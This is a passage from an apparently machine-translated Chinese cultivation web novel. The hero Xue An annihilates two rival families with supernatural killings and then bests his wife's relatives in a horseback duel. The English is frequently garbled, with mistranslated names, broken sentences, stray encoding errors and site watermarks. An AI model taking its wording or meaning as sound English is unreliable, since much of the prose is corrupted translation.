    Xue An took Song Yi and appeared above the hotel.


    Looking at the destroyed hotel below, Xue An raised his eyebrows with a murderous face.


    Actually anyone dares to do something to his family?


    Xue An is angry!


    Under the anger enough to burn the sky, the entire Xiangjiang seems to be trembling slightly!

 Chapter 167： Borrow full city flowers and plants 1

    Ming Canghai frowned, he just suddenly felt a strong heart palpitations.


    what happened?


    Could it be that Ruifeng had an accident?


    Ming Canghai was in shock, and suddenly felt a strong momentum rising from the foot of the mountain.


    Ming Canghai was stunned, and his whole body was trembling slightly under this frightening weather.


    who is it?


    actually has such an amazing momentum?


    At this moment, Xue An returned to the house.


    An Yan couldn''t help feeling relieved when she saw that her husband had returned.


    Xue Xiang and Xue Nian even embraced them.


    "Dad, there was a bad guy uncle just now!" Xue Xiang said.


    Xue An smiled and rubbed the heads of the two little girls.


    "Dad knows, Dad will get rid of the bad guys!"


    "Hmm!"


    An Yan stepped forward now in shock.


    "Husband!"


    Xue An nodded, "Don''t be afraid of Yan''er, no one dares to treat you with me! Song Yi!"


    "Yes!"


    "You are here to guard their mother and daughter! I will go to Ming''s house now to save Anqing!"


    Saying that Xue An got up for a while, then left the hotel and went straight to Ming''s house.


    Ming Canghai also noticed something was wrong at this time, and immediately summoned all the masters of the Ming family and gathered in the front yard.


    A stream of light flashed, and Xue An appeared above the Ming family, looking condescendingly at the people of the Ming family below.


    Ming Canghai looked up at Xue An with a solemn expression.


    "Dare to ask sir, what does this mean?"


    Xue An''s expression was indifferent, and instead of answering Ming Canghai''s words, he asked, "How many years have your Ming family been in Xiangjiang?"


    "One hundred and twelve years!" Ming Canghai said proudly.


    Xue An showed two tiger teeth and smiled sensibly, "Then today is the day when your Ming family is destroyed!"


    Ming Canghai was irritated by Xue An''s words, and said coldly: "Mr. Cultivation, but you have to know that our Ming family has been in Xiangjiang for so many years, so we can''t be bullied casually!"


    Xue An nodded and smiled slightly, "I didn''t say to bully you! I mean...kill you all!"


    The voice fell, Xue An stepped out and shouted coldly.


    "Move the world!"


    With an order, the earth shook the mountains.


    The entire Ming family mansion was shaking violently as if it had experienced a major earthquake.


    Many people fell to the ground.


    and Ming Canghai shouted angrily, "Feng Shui mystery, Xuanwu... rise!"


    Boom!


    The Ming family worked diligently for 112 years, and the atmosphere accumulated by incorporating the entire Xiangjiang River into the Feng Shui array burst out, turned into a giant turtle Xuanwu, and went straight to Xue An in the air.


    Where Xuanwu passes, the momentum is shaking, and all spirits bow their heads.


    But Xue An stood in the air with a look of sadness or joy, facing the violent Xuanwu, he shook his head gently.


    "It''s just a phantom image of Xuanwu that has been transformed by a century of earth energy. Even if the true spirit of Xuanwu is here, what can I do?"


    After saying this, Xue An stretched out a finger, just point it on the head of Xuanwu who rushed forward.


    The earth-yellow basalt giant tortoise was fixed in the air, and then it broke apart.


    The earth exploded with a blast, making the whole Xiangjiang tremble.


    Ming Canghai almost stared out his eyes.


    This is the last killer move of the Ming family.


    Even the master of Sanxiantian is not an opponent of this trick.


    Unexpectedly, Xue An easily defeated with one finger.


    When everyone in the Ming family was shocked.


    Xue An stepped out in two steps.


    "Separate Yin and Yang!"


    "After life and death!"


    Now that Xue An��s cultivation base is no longer necessary, he can perform the six modes of killing God with only words.


    This is how you speak up!


    Under the two types of killing gods, the entire Ming family mansion was completely crushed as if it had been crushed by a nuclear bomb.


    Waiting for the dust to dissipate, only Ming Canghai was barely standing.


    The others are dead.


    Xue An fell on the ground.


    Ming Canghai''s face was full of blood, and he looked at Xue An with horrified eyes.


    Xue An said lightly: "Do you know why I saved your life?"


    Ming Canghai trembled all over.


    "Because I have to tell you that your son is already gone!"


    Ming Canghai looked dull, and the flame in his eyes seemed to go out.


    Xue An waved his hand lightly, Ming Canghai''s head flew up, and the soul came out and flew into Xue An''s palm.


    Xue An pinched, his soul shattered.


    That''s it.


    Ming family is completely destroyed!


    Xue An closed his eyes, and after a while, he whispered: "Dying is not a pity for what your Ming family has done!"


    After that, Xue An disappeared in place.


    In the dungeon.


    An Qing and others heard the noise outside, and were surprised.


    Suddenly, there was a violent vibration in the dungeon.


    Then the light spilled in.


    Xue An walked in slowly, looked at An Qing with a look of surprise, smiled slightly, "Xiao Qing, I''ll pick you up!"


    An Qing''s nose was sour, tears almost came out, and she trembled: "Brother-in-law!"


    Xue An waved his hand, "Let''s go, your sister is still waiting for you in the hotel!"


    "Sister? My sister is back?" An Qing was shocked.


    Xue An smiled, "You will know when you go back!"


    Anqing took the survivors of the Phoenix and walked out of the dungeon.


    The sight outside made all these people pale.


    When ���� was locked in the dungeon, how brilliant this Ming family mansion was.


    But now it has become a piece of scorched earth.


    is like being plowed by countless shells.


    Xue An took everyone back to the Ming Hotel.


    An Yan saw her sister crying and hugged her.


    Anqing also burst into tears.


    "Sister, where have you been these days?" An Qing asked.


    An Yan shook his head, "The story is long when you say it, but it''s you, why were you caught by the Ming family?"


    An Qing sighed, "We were sent by General Fenglin to search for the remains of the immortals. As a result, this Ming family was attacked secretly and this was captured."


    "General Lin?" An Yan was surprised.


    "Yes! There is one thing in this immortal''s remains that is very important to General Lin, but unfortunately it has been acquired by the Ming family now!" An Qing said.


    Xue An took out the streamer at this time and said lightly: "Is this what you said?"


    Anqing and the many phoenix people couldn''t help being stunned when they saw this sword.


    "This..." An Qing still doesn''t know what happened.


    Song Yi smiled and said: "The immortal remains have been destroyed by Mr. Xue! The Ming family was also destroyed by Mr. Xue!"


    An Qing and others were shocked.


    At the same time, Huabaizhe was running away in sweat.


    Just now, she saw the scene where Xue An killed the Ming family.


    Xue An''s methods like gods and demons scared her crazy.


    She no longer dared to have the slightest thoughts against Xue An.


    Now she just wants to escape, the farther away from Xue An the better.


    There is also Cai Xukun, who is hurt all over, holding the same thought.


    But just when these people killed in the fingertips all fled.


    Xue An stood in front of the window of the hotel, and said calmly, "Do you want to run now? Unfortunately...you have no chance!"


    After that, Xue An shook his empty palm, with the palm facing up, and whispered, "I borrow the flowers and plants from the city!"

 Chapter 168： Fallen leaves and flying flowers all kill

    Boom!


    Hearing the edict, Mancheng Huacao immediately began to grow wildly.


    Cai Xukun, who was escaping, felt a little strange on the road. When he turned around, he saw that an ordinary tree suddenly grew much taller, with branches and leaves sticking out, and suddenly attacking Cai Xukun.


    Cai Xukun was so scared that the souls were scared, Kan Kan avoided the blow.


    Before he could relax, a few weeds behind him suddenly stretched out their stalks, wrapping Cai Xukun''s neck from behind.


    Cai Xukun still wanted to struggle, the weeds rose, and with a click, Cai Xukun''s neck was twisted.


    Cai Xukun, die!


    Huabaizhe has reached the northernmost point of Xiangjiang at this time.


    Here is a cruise ship she prepared in advance.


    As long as you can go to sea, the safety factor is much greater.


    The ship can already be seen in the distance.


    Huabaizhe just breathed a sigh of relief.


    The grass under his feet suddenly softened, and then it was like a swamp, sinking a flowery leg in it.


    Hua Baizhe trembled with fright, and then exhausted all his strength to jump up high.


    But she is on the outskirts of Xiangjiang at the moment.


    The hillside is full of weeds, the most of which is dandelion.


    When she jumped into the air.


    These dandelions all fell down to the ground, while the white dandelion seeds floated off the stems and went straight to the flowers in midair.


    spend a hundred zigzag heart broken.


    What the **** are these tricks?


    hiss.


    There was a soft sound.


    A dandelion brushed the flower''s shoulder.


    The blood poured out immediately.


    Dandelion, which was originally weak, is now sharper than a sharp blade.


    spent a hundred percent exhausted, avoided this wave of attacks, and wanted to run after landing.


    But the next moment, she was stunned.


    Because of the wound on her shoulder, small dandelions grew at this moment, and they grew at a very fast speed.


    Her whole body was exhausted, and then she stared blankly at the ship in the distance, and fell to the ground unwillingly.


    The wild grass immediately buried it.


    spend a hundred percent off, die!


    At the same time, in every corner of Xiangjiang, as long as the people killed between the fingers were almost killed.


    It is all the plants that can be seen everywhere in Xiangjiang.


    Picking Ye Feihua, everyone killed by the finger fell.


    This is, Fallen Ye Fei Hua Ju kill!


    An Qing and others were dumbfounded.


    Even some people''s eyes looked at Xue An changed.


    With an order, the flowers swayed and killed everyone.


    Is this still a realm that humans can reach?


    But Xue An smiled disapprovingly, and then said to An Qing: "Is your mission to obtain this sword?"


    Anqing nodded.


    "Let''s give it to you!" Xue An threw the sword to An Qing.


    Anqing and the Phoenix people were all shocked.


    Such a fairy sword, you actually gave it to you?


    Xue An disagrees.


    This dead half-step golden immortal was obviously only good at formations and was very unfamiliar with refining one.


    This streamer sword, whether it is material selection or refining techniques, is rubbish.


    Xue An doesn''t even look down on such a thing.


    Of course, although Xue An looks down on it.


    But this light sword was once a half-step golden sword after all, placed in the world, it can be regarded as an unparalleled treasure.


    An Qing solemnly took it, and nodded to Xue An, "Thank you brother-in-law!"


    At this moment, An Qing finally convinced Xue An.


    used to think that her sister was obsessed with her heart, but now it seems that her sister has a unique vision and her insight is like a torch!


    "This is the matter, brother-in-law, you and your sister will come back to Zhongdu with us!"


    Xue An shook his head, "No hurry, I have to do something!"


    "what''s up?"


    Xue An looked to the north and said coldly: "Since the Yuan family in Jibei has been looking for things over and over again, there is no need for them to exist!"


    After that, Xue An Teng stood up and said to An Yan: "Wife, wait for me for a while, I will go back!"


    After that, Xue An turned into a stream of light and disappeared into the sky.


    Song Yi couldn''t help sighing at this moment: "This...is the spirit of the fairy family!"


    Jibei Yuanjia.


    Yuan Chengyu is enjoying himself drinking.


    During this time, Jibei was calm.


    Although the Yuan family lost a Yuan Zongfeng, in Jibei, the Yuan family is still regarded as a first-class family.


    Especially my daughter went to Xiangjiang. If we can really cooperate with the Ming family to open the fairy treasure, it will be of great benefit to the development of the Yuan family!


    Thinking of this, Yuan Chengyu couldn''t help but smile.


    and outside the gate of the Yuan family.


    Several Yuan family children dressed as security guards are chatting.


    "I heard that the lady went to Xiangjiang?"


    "Yes! The Ming family specially invited over!"


    "Tsk tsk, I admire our eldest lady, pedantic, that is the real genius!"


    Several people are chatting.


    I saw a handsome man walking slowly from the other side of the street.


    A few people didn''t care at first, they were still chatting.


    until the man walked to the gate of the house.


    Only one of them frowned, "What are you doing? I want to enter the Yuan''s house. Is there an appointment?"


    The man turned his head and glanced at him.


    The Yuan family froze.


    Because he has never seen such deep and cold eyes.


    High above, like an emperor.


    Snapped.


    The dead body fell to the ground.


    just one glance, the Yuan family''s child''s mind was broken to death.


    The other Yuan family children were all taken aback, not knowing what happened. UU Reading www.uuk��nshu.c��m


    The man shook his head slightly, "Forget it, it''s boring to kill you!"


    After that, I stepped forward.


    The gate made of mahogany could not stop the man at all, and there was a thud.


    The door fell to the ground.


    Then the man stood on the steps and said lightly: "People of the Yuan family, come out and die!"


    This man is naturally Xue An.


    Within half an hour, he traversed thousands of miles and came directly to Yuan''s house in Jibei.


    With his voice, the entire Yuan family was shaken.


    "Who is it that dare to come to the Yuan family to make a trip?" Someone rushed out with a roar. He was the security captain of the Yuan family, a master of real-life situations.


    Xue An waved his hand, and the head of the real captain rose to the sky.


    Blood sprayed all over the place.


    This scene also surprised the Yuan family who came out later.


    "Who are you? Why come to my Yuan family to look for things?" The person who spoke was an elder of the Yuan family.


    Xue An glanced at him, "Are you Yuan Chengyu?"


    "That is our Patriarch, I am an elder of the Yuan family." This person said proudly.


    Xue An nodded, "Since it''s not, then go to hell!"


    With an order, this person thumped and fell to the ground.


    The words come out with the law.


    This weird scene made everyone in the Yuan family feel chilled.


    This person... who is it?


    At this time, Yuan Chengyu hurried to his house and said angrily: "Where is the madman who dare to make trouble in my Yuan''s house?"


    Xue An stood on the steps with his hand, a faint smile appeared at the corner of his mouth.


    "My name is Xue An! Coming today will destroy your Yuan family!"


    Xue An.


    The name ���� is like a curse, which makes everyone in the Yuan family horrified.

 Chapter 169： Return to Zhongdu

    Yuan Chengyu''s face changed drastically, and he exclaimed, "You are Xue An?"


    Xue An nodded, then raised his head to look at the sky, and smiled slightly: "The weather is good today, it''s a good day for murder!"


    Yuan Chengyu''s gaze flickered, and at the last gritted teeth, he sneered and said: "Xue An, you killed my eldest son. I haven''t asked you to settle the account, but now you have sent it to the door by yourself? Come, kill him!"


    Following Yuan Chengyu''s order, more than a dozen masters of the Celestial Realm suddenly rushed out from all directions.


    Obviously, these people usually cooperate with the drill together, so as soon as they shot, all of Xue An''s escape routes were sealed.


    A sneer appeared at the corner of Yuan Chengyu''s mouth.


    Ever since Yuan Zongfeng''s body fell, he was afraid that someone would take the opportunity to seek revenge, so he recruited all the heroes of the world, and then gathered a dozen celestial masters as his trump card.


    Now it seems that this trick really worked.


    Even if Xue An is a loose fairy, he has to retreat in the face of the combined attack of a dozen devas.


    But Yuan Chengyu''s smile just appeared, and then it solidified.


    I saw Xue An face this aggressive offensive, not avoiding, even stepping forward and directly greeted the past.


    At the same time, drink lightly.


    "Break love!"


    boom.


    The fourth form of the six forms of killing gods was finally displayed again.


    And this time, the power is more than a hundred times stronger than before.


    These celestial masters were full of confidence, thinking that even if Xue An could not be killed, he could be repelled.


    But I did not expect Xue An to give a soft drink.


    All these people were directly blown out by a terrifying force.


    The few people who faced Xue An directly died on the spot.


    The rest also lost combat effectiveness.


    one strike.


    It repelled a dozen celestial masters.


    Everyone in the Yuan family changed their colors.


    Especially Yuan Chengyu, with a dull expression, muttered to himself, "How... how is it possible?"


    Xue An seemed to walk in a leisurely courtyard, slowly walking up to him and looking at him condescendingly.


    "I was thinking of destroying your Yuan family, but now it seems that you are the culprit!"


    After that, Xue An flicked his fingers, Yuan Chengyu screamed, and his hands and feet were cut off.


    But Yuan Chengyu was not dead at the time, but was struggling in a pool of blood.


    Everyone trembled in terror by the terrible situation.


    Yuan Chengyu was also a bit spineless, actually gritted his teeth without screaming too much.


    Xue An knelt down and looked at him, and said lightly: "You have to thank you for having a good daughter! Otherwise, I will burn you with soul fireworks for a long time before killing you!"


    Yuan Chengyu looked at Xue An bitterly, and roared: "Why do you keep having trouble with my Yuan family again and again?"


    Xue An chuckled, "Can''t live with your Yuan family? That day, at the Fairy Gate Conference, your son sneaked on me and was killed by me. This time you sent someone to assassinate and almost wounded my family! Now you are actually right. I said, why can''t you live with your Yuan family?"


    This remark made Yuan Chengyu''s face pale and his expression wilted.


    It turned out that he knew everything.


    Xue An didn''t bother to talk nonsense with this person, waved his hand and the fireworks directly swallowed Yuan Chengyu.


    In a moment, it burned to nothing.


    Then Xue An stood up and looked around everyone in the field of view.


    No one dared to look directly at Xue An''s eyes.


    Some people were so scared that their calves were shaking.


    Xue An stretched out his hand with an indifferent expression. Suddenly, a flame rose under the feet of 20 or 30 people. Before these people could breathe out, they burned to ashes.


    At this time, among the direct lineages of the Yuan family, more than half of the people were missing, and the elders of the Yuan family were all destroyed.


    Xue An said indifferently: "I originally wanted to destroy your Yuan family, but now it seems that some people don''t know it, so it''s a forgiveness!"


    After saying this, Xue An stomped his feet and he flew straight into the air and disappeared.


    After he left, the remaining talents of the Yuan family were relieved.


    But just after taking a sigh of relief, Xue An stomped down and collapsed, forming a big pit with a radius of more than ten meters.


    Many people look dull and don''t know what they are thinking.


    At this point, all the senior members of the Yuan family were swept away by Xue An, and the Yuan family in Jibei was greatly injured, and in the future it was completely reduced to a second-rate family.


    Xue An flew back to Xiangjiang directly.


    When An Yan saw him coming back, he couldn''t help letting out a sigh of relief.


    "An Qing has left early, she said she must hurry back." An Yan said.


    Xue An nodded, then turned to look at Song Yi.


    "Song Yi, now the Ming family is gone, and the huge Xiangjiang group of dragons has no leader. I will give you this place. Would you dare to take over?"


    Song Yi shocked all over, then looked at Xue An with incredible eyes.


    "Mr. Xue, this... you want me to take charge of this Xiangjiang?"


    Xue An nodded, "Dare you or not?"


    Song Yi lowered his head to think for a moment, and then said with a firm face: "Since Mr. Xue has ordered it, then Song Yi will go through water and fire!"


    Xue An nodded in satisfaction.


    He believed in Song Yi''s methods.


    Is it easy for people who can get mixed up in places like Zhongdu?


    "Mr. Xue, do you want to return to Zhongdu with your wife?"


    Xue An nodded.


    "Then I would like to remind you, sir, although you have a mastery of cultivation, you are no better than anywhere else. There are many fish and dragons, and there are as many wealthy families. For example, the Huo Heming who was killed by you in Qingmang Mountain, although he was only A bastard, but if you go..."


    Song Yi was indeed a little worried.


    Because he understands Xue An''s temper, he is afraid that Xue An will suffer again if he goes to the middle school.


    Xue An waved his hand and said with a chuckle: "I know, and I''m not a murderer in China, but if people don''t offend me, I don''t offend people! I hope those wealthy families can grow their brains!


    At the end, Xue An''s eyes flashed with cold light.


    Song Yi closed his mouth and dared not say any more.


    Xue An stayed in the hotel that night.


    At the same time.


    The whole Xiangjiang was shaken.


    The Ming family has been operating in Xiangjiang for many generations, and it seems that it is already the emperor of Xiangjiang.


    But I did not expect to be eradicated by life in a day.


    Even the Ming family mansion was razed to the ground.


    How can these methods not let the other forces in Xiangjiang be shocked?


    And there is definite news that the people of the Ming family are staying in the hotel of the Ming family before they leave.


    At this time, all eyes of Hong Kong gathered here.


    But Xue An didn''t care about it.


    Xiangjiang is still too small after all.


    He doesn''t like it here.


    Song Yi took this opportunity to directly issue a notice to all parties.


    The above is clear After this, Xiangjiang will be the home of Xue family.


    He Song Yi is the plenipotentiary representative of the Xue family.


    If you are not satisfied, you can bring it up now.


    After a brief silence, the many families who received the notification all made wise choices.


    One after another, Song Yi sent gifts expressing his willingness to submit.


    Song Yi''s recruitment was not bloody, and he brought the entire Xiangjiang into his sphere of influence.


    But this is just the beginning.


    Many forces were only shocked by Xue An''s decisive killing and surrendering for a while.


    After that, Song Yi had to go by himself.


    Xue An didn''t care about these, because the next day, he led An Yan and his daughter on the plane to Zhongdu.


    This time, he wants to rule in Zhongdu!

 Chapter 170： Zhongdu Anjia

    Zhongdu.


    The capital of China.


    A thousand-year-old city with a profound heritage.


    And to the west of Zhongdu, there is an endless stretch of villas.


    This is where the Zhongdu wealthy family lives.


    When Xue An and An Yan got out of the car, An Yan looked up at the majestic door, and his complexion gradually turned pale.


    This is the place where she once lived and the place that brought her endless pain.


    "Husband...are we really going in?" An Yan trembled.


    Xue An nodded with a smile, and said softly: "Of course you have to go in, don''t be afraid, everything is mine!"


    While Xue Xiang and Xue Nian licked the ice cream while discussing in a low voice.


    "Sister, is this mother''s home? It''s so big!"


    "Yeah, but I heard from my father that many of my mother''s family are bad guys!"


    Xue Xiang asked like a little adult: "Go in in a while, don''t be greedy, you can''t shame your parents, understand?"


    Xue Nian nodded heavily, and a look of determination appeared on his little bun-like face.


    A family of four is about to go in.


    A bright red Lamborghini flew in front of the door, and the roar of the huge engine shook the leaves on the roadside.


    The car door opened, and a well-dressed, proud young woman got out of the car.


    An Yan was stunned when he saw this girl.


    At the same time, the woman also noticed An Yan standing on the roadside, her mouth gradually widened, and then she shouted in surprise: "Are you... An Yan?"


    An Yan paled and nodded gently, "An Meng!"


    This woman is An Meng, An Yan''s cousin.


    An family is a wealthy family, and the family is naturally very prosperous.


    Among them, there are a total of three direct descendants.


    Anyan''s father is the eldest, and his name is Anyang, but Anyan died when he was young.


    The second child is An Xue, who is An Meng''s father.


    The third child is An Chang, who is also the de facto power of An Jia.


    After An Meng saw An Yan, the expression on her face changed, especially when she saw Xue An and the two little girls on the side, she was slightly startled.


    Then An Meng''s mouth showed a high sneer, "Sister An Yan is back. This is really a happy event. If grandma knows it, I don''t know how happy it is!"


    When the word grandma was mentioned, An Yan''s eyes flashed a complex look.


    Then An Meng glanced at Xue An contemptuously, "This... must be the brother-in-law, right?"


    It''s just that when she talked about the word brother-in-law, her face was joking.


    An Yan looked at Xue An with some worry, for fear that Xue An would be violent again.


    Xue An just smiled faintly.


    He can''t be guilty of quarreling with such a mindless woman.


    And... it''s not the time yet!


    When the news of An Yan''s return reached An''s home.


    The peaceful Anjia couldn''t help but boil.


    An Chang, who was practicing calligraphy in his study, heard the report from the subordinate, and looked down on Gu Jing. It took a while before he calmly said: "I know, go and notify the old lady!"


    When An Xue, who was riding a horse in the backyard, heard the news, his expression sank, his eyes flashed with a terrifying cold light, and he didn''t even change his horse clothes, and went straight to the front yard hall.


    now.


    There were a lot of people around the hall.


    People are whispering.


    "Is that man Xue An who made An Yan elope?"


    "Tsk tusk! It looks pretty good, but you see how shabby it is to dress up."


    "The two little girls are really cute!"


    "Hush, don''t let the old lady hear this for a while, but she once said that she would never recognize An Yan''s child forever."


    When it comes to the old lady, all these people are silent and afraid to speak.


    When Anxue stepped forward, these subordinates hurriedly separated.


    "Second Lord!"


    An Xue''s face was sinking, and he walked directly into the hall.


    His appearance made An Yan look like a frightened bird, her expression tightened and she wanted to stand up.


    However, Xue An pressed it lightly, and then smiled faintly: "You are weak, don''t move around."


    An Yan looked pale, but sat down obediently.


    After seeing An Yan, An Xue gave a cold snort, and then stared at Xue An with a cold look.


    The tyrannical aura gradually filled the entire hall.


    The people whispered in the distance, "There is a lot of fun now, the second master is angry!"


    "Hehe, look at this guy with thin arms and legs, how many times do you think you can resist the second master?"


    "I guess three times at most!"


    "Too little, let me bet five times!"


    And in front of this momentum, Xue An seemed to have not seen it, and was still drinking tea slowly.


    After a long time.


    An Xue said in a deep voice: "Are you Xue An?"


    Xue An said calmly: "Yes, I am Xue An."


    "Haha!" An Xue smiled.


    When he laughed, a vertical line appeared on his forehead, which was very scary.


    Many people trembled slightly.


    Who didn''t know that the second master would slaughter someone with a smile!


    "Very well, I didn''t expect that you were so courageous, you would dare to come back even if you abducted the daughter of my hometown?"


    A mocking smile appeared at the corner of An Xue''s mouth, "I heard that you came to Anjia once and you were very upright and arrogant at the time. Why? Now I figured it out? Are you ready to beg us to settle down?"


    Xue An slowly raised his eyes and looked at An Xue with an indifferent expression.


    The words behind An Xue were stuck in his throat, unable to speak.


    Because Xue An''s eyes were calm and terrifying, An Xue''s heart trembled slightly.


    Soon.


    An Xue was angry.


    Was he scared in front of Xue An just now?


    Just waiting to speak.


    Xue An shook his head lightly, and said lightly: "You made a mistake!"


    "I''m here because of Anyan, and I won''t beg you to settle down, but you, don''t kneel down and beg me!"


    This sentence made everyone present in an uproar.


    An Meng''s face showed contempt, and the evaluation of Xue An in his heart became more and more unbearable.


    In her opinion, in addition to being handsome, this man can only brag, it is useless!


    It is ridiculous that my cousin seems to have picked up a baby!


    An Xue was even more angry and grinned, "Okay! Okay! Sure enough, my face is thick enough to make my Anjia kneel down and beg you, how old do you think you are?"


    "I am not an old man, I am Xue An!" Xue An said slowly.


    A vicious look flashed in An Xue''s eyes.


    "Boy do you have the courage to compare with me?"


    Xue An put down his tea cup and smiled slightly, "Compared to what?"


    "Anything is okay, but based on your stature, Bibi can be regarded as bullying you. How about... Bibi equestrianism?"


    Equestrian?


    Many people have knowing smiles on their faces.


    No one in the whole school knows that the second master An Xue An loves horses like crazy, and is also a top equestrian master.


    Even the British royal equestrian coaches are not Anxue''s opponents.


    Looking at Xue An''s appearance, it is estimated that he has never rode a horse!


    People are secretly laughing.


    Xue An nodded, showing two tiger teeth, and smiled sensibly: "This is what you said!" Invincible, starting from Dad Xianzun


    (=)

 Chapter 171： What is the real horse war! (Sunshine thanks!)

    An Jiaran has its own racecourse in such a land of every inch of land in Zhongdu.


    At this moment, more than a dozen horses of good pedigree are eating grass leisurely.


    An Xue proudly said: "My horses are even more pure than the blood of the British royal family. Each horse is worth ten million!"


    After that, Anxue looked at Xue An with disdain, thinking that he must be full of surprise.


    After all, anyone who has ever been to Anjia and met his racecourse, regardless of their status, will be shocked.


    Unexpectedly, Xue An''s expression was indifferent, without the slightest expression of surprise.


    An Xue''s eyes grew colder, and he sneered in his heart. Maybe he was a soil bun who had never seen the world before. He didn''t know how powerful this thing was.


    At this time, someone brought a white horse with a tall head.


    An Xue patted the horse''s neck lovingly, and then gently moved on the horse''s back.


    This hand was clean and neat, which attracted the cheers of many people.


    An Xue smiled triumphantly, and then said in a deep voice: "Bring me the saber!"


    Soon, a burly man walked over, holding a huge saber with a grin.


    An Xue took the knife, pulled a knife, and smiled proudly, "Today, let you see the ancient cavalry and horse warfare!"


    After talking about Anxue''s legs, the horse ran wildly around the field.


    Many scarecrows were erected in the field.


    An Xue was riding a horse, and when he passed a scarecrow, he suddenly roared.


    "Little thief suffers death!"


    The sound was like thunder.


    Then a blade of light flashed, and the scarecrow broke from the waist.


    Many maids couldn''t help but change their faces with fright.


    But Xue An held his shoulders and looked at it with interest.


    An Xueshu''s rise, bang bang.


    After cutting off all these scarecrows in succession, he couldn''t help but smile from the sky.


    "Have fun!"


    Then he turned his head and said coldly: "Xue An, it''s your turn now!"


    Everyone''s eyes focused on Xue An.


    Xue An shook his head gently.


    An Meng sneered, wondering if she still surrendered?


    Unexpectedly, Xue An said calmly: "If you want me to comment, then your so-called horse war is useless at all!"


    As soon as he said this, An Xue''s face became extremely ugly.


    "It''s no good? Hehe, boy, what a big tone!"


    Xue An shook his head, "I don''t believe it, then I''ll try it for you!"


    After all, Xue An walked to the stable.


    There are all kinds of BMWs here, but Xue An is only interested in a dark horse in the stable that is bowing his head and drinking water and keeping a distance from the other horses.


    The one who takes care of the racecourse is the housekeeper of Anjia.


    Seeing Xue An walking towards the dark horse, this person couldn''t help but sneered: "This sir, this dark horse was only shipped the day before, and his temperament is extremely irritable. If it hurts, don''t blame me for not reminding you!"


    Xue An didn''t speak, and went straight to the dark horse.


    The black horse was drinking, and when he noticed someone approaching, he snorted and raised his head proudly.


    The steward of the racecourse was watching gleefully, thinking that Xue An would definitely be kicked by the dark horse.


    A surprising scene appeared.


    This black horse was like seeing something noble, trembling all over, then knelt on its front legs and touched Xue An''s feet with the horse''s head.


    This scene made all the onlookers look stupid.


    How is this going?


    Could this Xue An fail to train horses?


    But this dark horse is wild and untamable. I have found many top horse trainers but failed to train it. How come he is so docile when he comes?


    People are wondering.


    Xue An smiled faintly, and stretched out his hand to gently touch the black horse''s mane.


    "To keep you here, I really wronged you! Not to mention, I will ride you out today!"


    The dark horse snapped his nose very excitedly.


    Xue An got on the horse directly, and the dark horse got up and carried Xue An to the middle of the racecourse.


    An Xue''s face is gloomy and uncertain at this moment.


    He also didn''t expect Xue An to be able to tame this dark horse.


    But it��s just not good to be able to ride a horse. When the saber is used under steps, it��s easy.


    But if it is cut out when the horse is galloping, it requires extremely high technology.


    Anxue has worked hard for several years before getting his current results.


    At this time, Xue An said calmly: "I don''t like using knives!"


    Then he pointed to a Fangtian Euphorbia on the corner weapon shelf.


    "This thing is good, let it be!"


    As soon as the words came out, the audience laughed loudly.


    An Meng even smiled and clutched her belly.


    "I thought this guy would really order something. It turned out to be a boast! The Fangtian Euphorbia is made of pure steel and weighs more than a hundred kilograms. It is used for decoration and pressing weapon racks. Actually want to use it?"


    Many people are also full of disdain.


    Xue An slowly scanned the people present.


    The laughter gradually subsided.


    Xue An''s eyes were too calm, calm and almost mocking.


    Then Xue An pulled the reins, and the horse walked to the weapon shelf.


    Xue An leaned forward and grasped the handle of Fang Tian''s halberd, and then slowly pulled out the Fangtian halberd in the horrified eyes of everyone.


    An Xue was shocked by this scene.


    how is this possible!


    If he uses brute force, An Xue can also move this Fangtian Euphorbia.


    But Xue An pulled it out slowly, as if picking up a wooden stick with ease.


    Xue An held the halberd in his hand and looked indifferent.


    "Now... I will let you know what a real horse war is!"


    After all, Xue An rides the dust.


    The black horse is like a black lightning, running around the entire racecourseIn the racecourse, there are many flagpoles erected to tie up various cables.


    Xue An was galloping, and suddenly gave a soft drink, stabbing out with a halberd.


    Peng!


    There was a loud metal crash.


    The flagpole made of pure steel broke suddenly.


    And this is just the beginning.


    Xue An was casually pulling out a flower of Fang Tian''s Euphorbia, piercing out one after another.


    Bang bang bang!


    All these flagpoles broke off.


    The momentum was shocking, and everyone present was shocked.


    An Xue was even more stunned.


    And Xue An smiled slightly at this moment, and with a rein, the dark horse came straight to Anxue.


    An Xue was shocked, and he tried to parry when he raised his saber.


    But Xue An''s Fangtian Euphorbia looked like Mount Tai, and it was overwhelmingly pressed.


    An Xue finally felt the fear and screamed.


    The saber was broken into two parts with a click.


    At the same time, the Euphorbia cleaved.


    An Xue closed his eyes, his mind went blank.


    But after a while, Anxue only felt a cool breeze on his forehead, without any pain.


    An Xue opened his eyes slowly, and saw this Fangtian Euphorbia halberd close to his forehead, and one centimeter more, it shattered his forehead.


    However, Xue An held the halberd in his hand, but he remained motionless like Yuan Zhen Yue Zhi.


    An Xue was stunned.


    Everyone in the audience looked even more like a duck with their necks pinched.


    Xue An took the Eucalyptus off his hand at this time, and then threw it back.


    The big halberd flew back to the distance as if it had been arranged.


    Clang.


    The smashed weapon shelf buzzed.


    Xue An said lightly: "Now, can you be convinced?" The latest chapter of "Invincible, Starting from Dad Xianzun" is free to read for the first time.

 Chapter 172： Everyone is angry, the world bows his head!

    An Xue''s face was pale, but there was nothing to say. After all, he suggested better than horsemanship.


    At this moment, someone whispered softly: "The halberd is good, but unfortunately, it''s just the courage of a man!"


    Following the voice, one person walked slowly from a distance.


    The onlookers put their hands on both sides and said respectfully: "San Ye!"


    The person here is the actual controller of Anjia, Anyan''s uncle, An Chang!


    An Chang is more than 40 years old this year, but he looks very young because of proper maintenance.


    Moreover, with elegant manners and noble temperament, he looks like a person of high position for a long time.


    At this moment, An Chang''s face showed a trace of pride.


    "You are Xue An?"


    Xue An looked indifferent and did not speak.


    An Chang said indifferently: "Kungfu is good, but in Zhongdu, what you rely on is the power and wealth in your hands, not the courage of one man."


    As soon as the words fell, the dark horse under Xue An''s crotch suddenly flew over the fence of the racecourse and rushed directly to An Chang.


    The dark horse was able to stop when it was only one finger away from An Chang''s chest.


    An Chang could even smell the heat the horse exhaled.


    Xue An sat on the horse and said lightly: "The courage of the husband? Believe it or not, in the face of absolute strength, if the husband is angry, the world has to bow his head!"


    An Chang''s face turned pale as paper instantly, and he stared at Xue An sullenly.


    The atmosphere became serious.


    But at this moment, a well-dressed old housekeeper rushed to the scene and said solemnly: "The old lady is dead. Let An Yan and others stay at home for the time being, and everything will be done after the birthday banquet."


    The old lady spoke, An Chang lowered his eyes and stepped aside.


